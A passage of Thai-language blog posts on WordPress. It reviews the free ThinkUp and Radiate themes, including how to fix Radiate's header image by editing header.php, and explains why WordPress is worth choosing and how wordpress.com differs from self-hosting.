แล้วอัพโหลดไฟล์แบบ png แต่ถ้าใช้กับ iPad แบบเรตินาก็อัพโหลดรูปขนาดสองเท่าขึ้นไป แต่ถ้าต้องการข้อความก็เลือก Display Site Title แล้วใส่ title กับ description ตามปกติ ปรับแต่งเลย์เอาท์ของเพจ โพสต์ และ Home ธีมตัวนี้สามารถปรับแต่งเลย์เอาท์ของเพจได้เล็กน้อย แต่ในการใช้งานโดยทั่วไปก็ถือว่าเพียงพอ โดยมีเลย์เอาท์ได้สามแบบคือ Full-Width, Left-Sidebar และ Right-Sidebar ในกรณีที่เลือกเป็น Left-Sidebar หรือ Right-Sidebar จะสามารถเลือก Sidebar ที่จะเอามาแสดงได้ ซึ่งในตัวฟรีจะมี sidebar มาให้ 1 อัน นอกนั้นจะเป็นสวนของ footer sidebar หน้าเซตติ้งนี้ใช้กับเพจที่ publish และไม่ใช่หน้า Home ถ้าต้องการเซตที่เพจ Home ก็ใช้อีกเมนูหนึ่ง ซึ่งก็ใช้หลักการเดียวกัน นอกจากนี้ก็สามารถเขียน custom CSS ได้เหมือน Radiate การปรับแต่งเลย์เอาท์ของโพสต์และ home ทำได้ในทำนองเดียวกัน ข้อจำกัดคือในฟรีเวอร์ชันมีเลย์เอาท์เพียงสามแบบ การเซต Slider ใช้ ThinkUpSlider การเซต slider ของธีมตัวนี้ง่ายมาก เพียงแต่กดปุ่ม Add Slide แล้วอัพโหลดรูปขึ้นไป โดยไม่จำกัดจำนวนของ slide และเป็น slide แบบ responsive คือปรับสัดส่วนตามจอ คือดูบนมือถือได้ การเซต Featured Post ธีมตัวนี้สามารถเซต featured post ได้ 3 ตัว ซึ่งเป็นกล่อง 3 กล่องในแนวราบด้านบนเช่นเดียวกับ radiate ซึ่งจะต้องใช้ทั้งหมด ซึ่งจะมีหน้าตาอย่างนี้ แต่หากต้องการให้กด Read More แล้วลิงค์ไปเพจที่ต้องการก็เซตที่ Link to page Widget ใน Footer Area นอกจาก sidebar หนึ่งตำแหน่งแล้ว ธีมตัวนี้มี sidebar ในตำแหน่ง footer ถึง 6 ตัว แต่ที่ลองดูใช้ได้ 5 ตัวแรก ซึ่งสามารถเซตความกว้างของ widget แต่ละตัวได้หลายแบบ ตามที่ได้กล่าวไว้ตอนต้นว่าธีมตัวนี้ดูเหมือนจะให้ผู้ใช้เล่นกับ footer คือมีได้หลายช่อง ส่วนจะเอา widget อะไรไปลงแล้วจึงจะสวยงาม คงต้องอาศัยความสามารถในการออกแบบเล็กน้อย ข้อเสีย เท่าที่ลองดูธีมตัวนี้มีปัญหากับแอนดรอยด์ที่ดูด้วย Explorer เวลากดปุ่มเมนูสลับไม่มาแล้วรายการในเมนูหายไป แต่ทำใน Firefox หรือ Chrome ไม่เป็นปัญหา…

Radiate ธีมฟรี เรียบง่าย

Radiate ธีมฟรี เรียบง่าย

  Radiate จัดเป็นธีมยอดนิยมตัวหนึ่ง เป็นธีมในแนว business ที่เรียบง่าย โทนสีขาว-เทา เป็น responsive และยังมีการปรับปรุงอยู่ ปัจจุบันคือเวอร์ชัน 1.1.1 แต่มีข้อเสียอยู่ตรงภาพ header ที่ปรับเปลี่ยนไปตามขนาดของเบราเซอร์แล้วไปซ้อนกับเมนู นอกนั้นก็ถือว่าดี น่าจะเหมาะกับธุรกิจที่เป็น office โดยรวมๆเป็น theme ที่เอา content ไว้ทางด้านซ้าย พวก widget หรือ sidebar เอาไว้ทางขวา เป็น responsive คือดูบนมือถือได้ จุดที่ customize ได้ ดังที่ได้บอกไปแล้วว่า theme ตัวนี้เป็นแบบเรียบง่าย จึงไม่มีอะไรที่ปรับแต่งได้มาก จุดแรกคือสีของ Text ส่วนที่เป็น header, background ซึ่งสำหรับผู้ที่คุ้นเคยกับ CSS อยู่แล้วอาจจะไม่มีความจำเป็นอะไร ต่อไปก็คือภาพที่ส่วนหัว ซึ่งก็สามารถแก้ไขได้ โดยสร้างภาพกว้างขนาด 1500 จุด และสูง 450 จุด ความสูงสามารถปรับได้ เป็นขนาดสำหรับ desktop แต่ถ้าดูบนมือถือจะมีปัญหาเพราะว่าภาพจะไม่หดขยายตามขนาดหน้าจอ แต่ theme ตัวนี้จะใช้ javaScript ตัดเอาส่วนกลางของภาพมาโชว์ ซึ่งไม่ work เท่าไหร่ ตอนท้ายจะพูดถึงวิธีแก้ (สำหรับคนที่ไม่ชอบ) อีกอย่างหนึ่งคือ theme ตัวนี้ตัวเมนูหลักจะเป็นแบบลอย คือเวลาเราเลื่อนไปข้างล่าง เมนูก็ยังคงอยู่ด้านบน แต่ข้อเสียคือภาพ header จะถูกเมนูทับตลอดเวลา ส่วนเมนูก็มีเมนูเดียวดังที่บอกไว้ตอนต้น สำหรับคนที่รู้มีวิธีแก้ไข theme คงจะสามารถเพิ่มเมนูได้เอง หรือใช้เป็น widget – custom menu ข้อดีง่ายๆที่ฟรีธีมดีๆหลายตัวมักไม่ค่อยใส่มาให้คือช่องสำหรับใส่ custom css ซึ่งจะสะดวกกว่าไปแก้ในเมนู Edit ของ Appearance การเซต Featured Post โดยทั่วไป Featured Post หมายถึง โพสต์ที่เรา fix เอาไว้นานๆเพื่อให้คนเข้าดูเห็นตลอด ไม่ต้องการให้ถูกเลื่อนหลายไปเมื่อมีโพสต์ใหม่มาแทน สำหรับ theme ตัวนี้ก็คือกล่องข้อความสามกล่องในแนวนอนในหน้า home แต่ theme ตัวนี้จะเรียกว่า featured page เพราะเขาให้เซตเป็น page แทนที่จะเป็น post (ใน WordPress การทำ page กับ post แทบไม่ต่างกัน) ดังนั้นถ้าเรามี featured post ก็ให้สร้างเพจขึ้นมา 3 เพจ แล้วใส่ featured image (ซึ่งควรมี) แล้วเซตเชื่อมโยงก็เป็นอันเสร็จ แต่จะต้องใส่ให้ครบสามเพจ ถ้าใส่ไม่ครบจะมีช่องว่างตามรูป ข้อเสียอันหนึ่งคือภาพประกอบจะมีขนาดเท่ากับภาพจริง ต้องเลือกภาพที่ให้เหมาะสมจึงจะดูสวย หรือไม่ก็ใช้ CSS แต่งเอา แก้ปัญหาภาพ header ที่กวนใจ ดังได้กล่าวไว้ตอนต้นว่า theme นี้มีปัญหาที่ภาพ header ซ้อนกับเมนู เพราะเมนูเป็นแบบลอย(เพื่อเวลาเลื่อนเมาส์ก็ยังคงอยู่) และเมื่อดูบนมือถือภาพ header จะไม่หดตามขนาดจอ แต่จะเอาเฉพาะภาพตรงกลางมาแสดง คนที่ชอบก็แล้วไป ไม่ชอบก็ต้องแก้ไข ที่ยากก็คือ theme ตัวนี้ใช้ Inline CSS ในการจัดตำแหน่งภาพไว้ตรงกลางเพื่อให้เวลาบีบจอหรือดูบนมือถือแล้วเห็นภาพที่อยู่ตรงกลาง ซึ่งโค้ดอยู่ในไฟล์ radiate\inc\extras.php การเข้าไปแก้ไขที่ไฟล์นี้เป็นเรื่องยุ่งยาก วิธีที่ง่ายที่สุดคือตัดเอา header เดิมออกแล้วเอา header ใหม่ใส่แทน เข้าไปที่ Appearance->Theme->Editor เลือกไฟล์ header.php แล้วแก้โค๊ดตรงส่วนหัว body ใส่แท็ก img แบบธรรมดาเข้าไป สังเกตบรรทัดที่ 23 แก้จาก parallax-bg เป็น _parallax-bg เพื่อไม่ให้ javaScript หรือ CSS ที่อ้างอิงถึง div ตัวนี้ทำงาน (จริงๆต้องลบออก แต่เก็บเอาไว้เผื่อเปลี่ยนใจ) แล้วไปใส่ใน custom css ตามรูป เพื่อแก้ side…

ใช้ WordPress แล้วดีตรงไหน

ใช้ WordPress แล้วดีตรงไหน

ถ้าคุณยังไม่รู้ว่า WordPress คืออะไร ขอแนะนำให้ลองเล่นจาก wordpress.com ซึ่งจะทำให้คุณได้เข้าใจ WordPress ด้วยตนเองได้ดีที่สุด WordPress.com เพียงพอสำหรับการเป็นเว็บไซต์ไหม ในบริการฟรีอันนี้ คุณจะต้องเลือกชื่อโดเมนของคุณ ซึ่งอาจจะเป็น iamhere.wordpress.com ซึ่งคุณจะได้ blog สำหรับเขียนบทความหรือจะทำเป็นเว็บไซต์ก็ได้ โดยเลือก theme ฟรีที่ถูกใจ ถ้าคุณเคยมีประสบการณ์กับ blog อื่นๆมาก่อน ก็คงจะเข้าใจได้ไม่ยาก คุณสามารถเรียนรู้ได้เองโดยไม่ต้องอาศัยคู่มือใดๆ หรือถ้าจำเป็นก็สามารถค้นหาจากอินเตอร์เนต แต่หากคุณต้องการได้ theme ที่สวยงามกว่า ซึ่งก็จะเป็น theme ที่ต้องจ่ายเงิน WordPress ก็คิดค่าค่าบริการแบบรายปี (ซึ่งราคาไม่แพง) พร้อมกับความสามารถในการปรับแต่งได้มากขึ้น และคุณยังสามารถใช้โดเมนเนมของคุณแทนที่โดเมนเนมภายใต้ wordpress.com ได้ด้วย ดังนั้นหากคุณไม่ต้องการยุ่งยากกับการดูแลระบบ เช่นการ backup ข้อมูล การป้องกัน hacker เจาะเข้ามา และอื่นๆ การใช้บริการ wordpress.com ก็เป็นทางเลือกที่ดีทางหนึ่ง แล้วการตั้งเว็บไซต์ด้วย WordPress เป็นของตัวเองคืออะไร WordPress มีข้อดีอันหนึ่งที่เหนือกว่า blog ทั่วๆไป คือ มันเป็น opensource ตัวหนึ่งที่อนุญาตให้ใครเอาตัว WordPress ไปตั้งเว็บไซต์แบบ WordPress เองก็ได้ หรือจะเอาไปดัดแปลงแล้วมาทำแข่งก็ไม่ว่ากัน ดังนั้นหากคุณไม่ต้องการใช้บริการจ่ายรายปีกับ WordPress คุณต้องการอิสระในการควบคุมเว็บไซต์ของคุณ คุณมีทางเลือกที่สองคือ download ตัว WordPress มาติดตั้งบน host (เช่า) ของคุณเอง ซึ่งคุณก็จะกลายเป็นเจ้าของเว็บไซต์นั้นโดยสมบูรณ์ (รวมทั้งการดูแลปัญหาเรื่องการ backup การป้องกันต่างๆเองด้วย) แล้วมีอะไรที่ต้องเรียนรู้ เมื่อเราติดตั้ง WordPress ครั้งแรก มันจะเป็นเพียง blog เปล่า ที่ใช้สำหรับโพสต์บทความหรือข้อความ และมี theme มาตรฐานให้ใช้อยู่ 2 ตัว องค์ประกอบอื่นๆที่เรียกว่า Widget จะเป็นตัวพื้นฐานที่ใช้สำหรับงานเขียน blog เช่น Archive, Recent post, Login, Recent comment, Page list, Category list เป็นต้น หากเราต้องการ theme ที่สวยกว่า หรือ Widget ที่ทำอย่างอื่น เช่น ทำ image gallery, ทำภาพ slide และลูกเล่นต่างๆแบบที่เราเห็นในเว็บไซต์อื่น ก็สามารถ download เพิ่มเติมได้จากเว็บไซต์ของ WordPress เอง ซึ่งมี theme และ plugin (Widget คือ plugin ชนิดหนึ่ง) ให้เลือกมากมาย ดังนั้นหากคุณขยับขึ้นไปติดตั้งเว็บไซต์เองแล้ว คุณก็จะต้องใช้เวลาสักระยะหนึ่งเพื่อทำความเข้าใจข้อดีข้อเสียของ theme แต่ละตัวที่คุณเลือกใช้ รวมทั้ง plugin ด้วย ซึ่งขั้นตอนนี้คุณสามารถเรียนรู้ได้ด้วยตนเองเช่นกัน เราสอนอะไรเกี่ยว WordPress ดังที่ได้กล่าวไว้ข้างต้นว่า WordPress นั้นสามารถเรียนรู้ได้ด้วยตนเองได้ เพราะปรัญชาของ WordPress คือความง่ายในการใช้งาน ซึ่งก็หมายความว่าความต้องการของคุณต้องไม่มากด้วย ถ้าความต้องการของคุณมากขึ้น คุณต้องการ theme ที่สวยและไม่ซ้ำใคร คุณต้องการ plugin ที่ตรงกับความต้องการของคุณและเข้ากันได้กับ theme ที่คุณเลือก ไม่ใช่งานที่ง่าย ในโลกของ WordPress มี theme และ plugin ฟรีอยู่มากมาย แต่การเลือกให้ตรงกับงาน ให้ลงตัวมากที่สุดไม่ใช่เรื่องที่ง่าย เพราะต้องใช้เวลามาก และยากที่จะให้สมบูรณ์ตามต้องการ

ทำไมต้อง WordPress

ทำไมต้อง WordPress

ปัจจุบันมีเครื่องมือหลายตัวในการสร้างเว็บไซต์ที่เรียกว่า CMS ซึ่งส่วนใหญ่เป็นแบบ open source หรือสามารถใช้ได้โดยไม่ต้องจ่ายค่าไลเซนซ์ WordPress เป็นเครื่องมือในการสร้างเว็บไซต์ที่ได้รับความนิยมมากในรอบหลายปีที่ผ่านมา และได้รับความนิยมในลำดับต้นๆในปัจจุบัน เริ่มจากการเป็นเครื่องมือสำหรับสร้าง blog ซึ่งสามารถขอใช้ได้ฟรีที่ wordpress.com และยังสามารถ download มาติดตั้งบน host เราเองก็ได้ ปัจจุบัน WordPress ไม่ใช่เป็นเพียงเครื่องมือสำหรับผู้เขียน blog เหมือนกับที่ผ่านมา แต่ WordPress ได้กลายเป็นเครื่องมือในการสร้างเว็บไซต์ที่สำคัญมากตัวหนึ่งของโลก โดยปรากฏว่ามีเว็บไซต์ดังๆหลายแห่งทั่วโลกได้เลือกใช้ ทำไมต้องเลือก WordPress หากจะสรุปว่า CMS ใดดีที่สุด หรือใครดีกว่าใคร ก็เป็นปัญหาถกเถียงกันหาข้อสรุปไม่ได้ การเลือกใช้ตัวใดขึ้นอยู่กับการถูกชะตามากกว่าประเด็นทางเทคนิค เพราะคนส่วนใหญ่ใช้ซอฟต์แวร์ตามความถนัดของตนมากกว่า เว้นเสียแต่ว่าจะมีความสามารถทางเทคนิคแตกต่างกันอย่างเห็นได้ชัด แต่ถ้าจำเป็นต้องให้เหตุผล WordPress มีความโดดเด่นในประเด็นเหล่านี้ ง่ายต่อการเรียนรู้สำหรับ user มีเมนูที่เรียบง่าย เหมาะแก่การในงานในเบื้องต้น หากต้องการฟังก์ชันที่ซับซ้อนขึ้น ก็เพิ่ม plugin เข้าไปภายหลัง อันนี้แตกต่างกับ Joomla หรือ Drupal ซึ่งมีฟังก์ชันพื้นฐานเริ่มต้นมากกว่าง่ายสำหรับการเรียนรู้สำหรับ programmer เมื่อเทียบกับ CMS ตัวอื่นๆ WordPress มีความซับซ้อนระดับกลางๆ เพราะว่ามีฟังก์ชันพื้นฐานเกียวกับเว็บไซต์ครบ เช่นระบบสมาชิก ระบบการอัพโหลดรูปภาพ ระบบ mail การทำ plugin ทำได้ง่าย ใช้เวลาทำความเข้าใจกับระบบสักเล็กน้อยก็สามารถทำ plugin เองได้แล้วง่ายสำหรับ designer อันนี้เป็นจุดเด่นของ WordPress ที่ทำให้มี theme สวยงามมากมาย และมีเอกลักษณ์ในความเป็น WordPress เพราะความที่ WordPress เป็นระบบที่ไม่ซับซ้อน ผู้ที่เป็นนักออกแบบที่เคยออกแบบเว็บไซต์แบบ HTML มาก่อน หากมาเรียบรู้เพิ่มเติมเกี่ยวกับกลไก theme ของ WordPress ก็สามารถนำ theme แบบ HTML ที่เคยทำมาใส่ใน WordPress ได้ไม่ยาก อนาคตของ WordPress ถึงปัจจุบันมีหลายสิบล้านเว็บไซต์ที่ใช้ WordPress และคาดว่าจะมีการเติบโตอย่างต่อเนื่อง ปัจจุบันเป็นเวอร์ชัน 3.5.1 ซึ่งแนวทางการพัฒนาก็ดูเหมือนจะคงไปทางเรียบง่ายเหมือนเดิม คือ ไม่เป็นระบบที่ซับซ้อนเกินไปที่ทำให้ programmer ต้องเสียเวลาเรียนรู้มากสำหรับการต่อยอดในรูป plugin และช่วยให้ designer สามารถออกแบบเว็บไซต์ได้โดยไม่จำเป็นต้องเรียนรู้เรื่องทางเทคนิคมากเกินไป เช่นเดียวกับ CMS ตัวอื่นๆ WordPress มี theme และ plugin สนับสนุนมากมายทั้งแบบฟรีและไม่ฟรีในราคาหลักร้อยถึงหลักพัน ซึ่งถือเป็นต้นทุนที่ถูกมากสำหรับองค์กรที่จะนำ WordPress ไปใช้แทนที่จะต้องลงทุนไปกับการพัฒนาระบบของตัวเอง